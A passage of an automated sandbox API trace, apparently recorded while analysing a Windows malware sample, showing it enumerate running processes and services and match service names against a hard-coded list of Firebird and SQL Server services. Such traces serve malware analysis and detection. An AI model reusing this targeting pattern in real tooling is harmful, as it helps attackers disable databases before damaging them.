th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0082.449] lstrlenW (lpString="spgagentservice.exe") returned 19 [0082.449] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0082.450] lstrlenW (lpString="utg2.exe") returned 8 [0082.450] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0082.450] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0082.451] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0082.451] lstrlenW (lpString="glow be.exe") returned 11 [0082.451] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0082.452] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0082.452] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0082.453] lstrlenW (lpString="contains roles was.exe") returned 22 [0082.453] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0082.453] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0082.453] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0082.454] lstrlenW (lpString="taskhostw.exe") returned 13 [0082.454] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0082.455] lstrlenW (lpString="taskhostw.exe") returned 13 [0082.455] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0082.455] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0082.455] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0082.456] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0082.456] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0082.457] lstrlenW (lpString="UsoClient.exe") returned 13 [0082.457] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0082.457] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0082.457] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0083.105] lstrlenW (lpString="conhost.exe") returned 11 [0083.106] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0083.106] lstrlenW (lpString="conhost.exe") returned 11 [0083.106] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.107] lstrlenW (lpString="svchost.exe") returned 11 [0083.107] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0083.107] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0083.107] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.108] lstrlenW (lpString="svchost.exe") returned 11 [0083.108] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0083.109] lstrlenW (lpString="cmd.exe") returned 7 [0083.109] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0083.109] lstrlenW (lpString="conhost.exe") returned 11 [0083.109] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0083.110] CloseHandle (hObject=0x308) returned 1 [0083.110] Sleep (dwMilliseconds=0x1f4) [0084.224] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4cef18 [0084.225] EnumServicesStatusExW (in: hSCManager=0x4cef18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0084.225] GetLastError () returned 0xea [0084.225] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x4f3b70 [0084.225] EnumServicesStatusExW (in: hSCManager=0x4cef18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f3b70, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f3b70, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0084.226] CloseServiceHandle (hSCObject=0x4cef18) returned 1 [0084.226] lstrlenW (lpString="Appinfo") returned 7 [0084.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0084.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0084.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0084.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0084.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0084.227] lstrlenW (lpString="AppXSvc") returned 7 [0084.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0084.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0084.227] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0084.227] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0084.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0084.227] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0084.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0084.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0084.227] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0084.227] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0084.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0084.227] lstrlenW (lpString="Audiosrv") returned 8 [0084.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0084.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0084.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0084.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0084.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0084.227] lstrlenW (lpString="BFE") returned 3 [0084.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0084.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0084.227] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0084.227] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0084.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0084.227] lstrlenW (lpString="BITS") returned 4 [0084.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0084.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0084.227] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0084.227] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0084.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0084.227] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0084.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0084.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0084.228] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0084.228] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0084.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0084.228] lstrlenW (lpString="CDPSvc") returned 6 [0084.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0084.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0084.228] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0084.228] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0084.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0084.228] lstrlenW (lpString="ClickToRunSvc") returned 13 [0084.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0084.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0084.228] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0084.228] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0084.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0084.228] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0084.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0084.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0084.228] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0084.228] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0084.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0084.228] lstrlenW (lpString="CryptSvc") returned 8 [0084.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0084.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0084.228] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0084.228] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0084.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0084.228] lstrlenW (lpString="DcomLaunch") returned 10 [0084.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0084.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0084.228] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0084.228] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0084.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0084.228] lstrlenW (lpString="DeviceAssociationService") returned 24 [0084.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0084.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0084.229] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0084.229] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0084.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0084.229] lstrlenW (lpString="Dhcp") returned 4 [0084.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0084.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0084.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0084.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0084.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0084.229] lstrlenW (lpString="Dnscache") returned 8 [0084.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0084.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0084.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0084.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0084.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0084.229] lstrlenW (lpString="DoSvc") returned 5 [0084.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0084.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0084.229] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0084.229] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0084.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0084.229] lstrlenW (lpString="DPS") returned 3 [0084.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0084.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0084.229] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0084.229] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0084.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0084.229] lstrlenW (lpString="DusmSvc") returned 7 [0084.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0084.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0084.229] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0084.229] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0084.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0084.229] lstrlenW (lpString="EventLog") returned 8 [0084.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0084.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0084.230] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0084.230] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0084.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0084.230] lstrlenW (lpString="EventSystem") returned 11 [0084.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0084.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0084.230] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0084.230] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0084.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0084.230] lstrlenW (lpString="FontCache") returned 9 [0084.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0084.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0084.230] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0084.230] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0084.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0084.230] lstrlenW (lpString="gpsvc") returned 5 [0084.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0084.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0084.230] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0084.230] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0084.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0084.230] lstrlenW (lpString="iphlpsvc") returned 8 [0084.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0084.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0084.230] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0084.230] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0084.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0084.230] lstrlenW (lpString="KeyIso") returned 6 [0084.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0084.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0084.230] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0084.230] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0084.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0084.230] lstrlenW (lpString="LanmanServer") returned 12 [0084.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0084.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0084.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0084.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0084.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0084.231] lstrlenW (lpString="LanmanWorkstation") returned 17 [0084.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0084.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0084.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0084.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0084.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0084.231] lstrlenW (lpString="lfsvc") returned 5 [0084.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0084.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0084.231] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0084.231] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0084.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0084.231] lstrlenW (lpString="lmhosts") returned 7 [0084.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0084.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0084.231] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0084.231] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0084.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0084.231] lstrlenW (lpString="LSM") returned 3 [0084.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0084.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0084.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0084.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0084.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0084.231] lstrlenW (lpString="MapsBroker") returned 10 [0084.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0084.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0084.231] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0084.231] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0084.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0084.231] lstrlenW (lpString="MpsSvc") returned 6 [0084.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0084.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0084.232] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0084.232] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0084.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0084.232] lstrlenW (lpString="NcbService") returned 10 [0084.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0084.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0084.232] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0084.232] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0084.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0084.232] lstrlenW (lpString="netprofm") returned 8 [0084.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0084.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0084.232] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0084.232] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0084.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0084.232] lstrlenW (lpString="NlaSvc") returned 6 [0084.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0084.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0084.232] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0084.232] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0084.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0084.232] lstrlenW (lpString="nsi") returned 3 [0084.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0084.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0084.232] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0084.232] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0084.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0084.232] lstrlenW (lpString="PcaSvc") returned 6 [0084.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0084.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0084.232] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0084.232] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0084.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0084.232] lstrlenW (lpString="PlugPlay") returned 8 [0084.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0084.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0084.233] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0084.233] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned 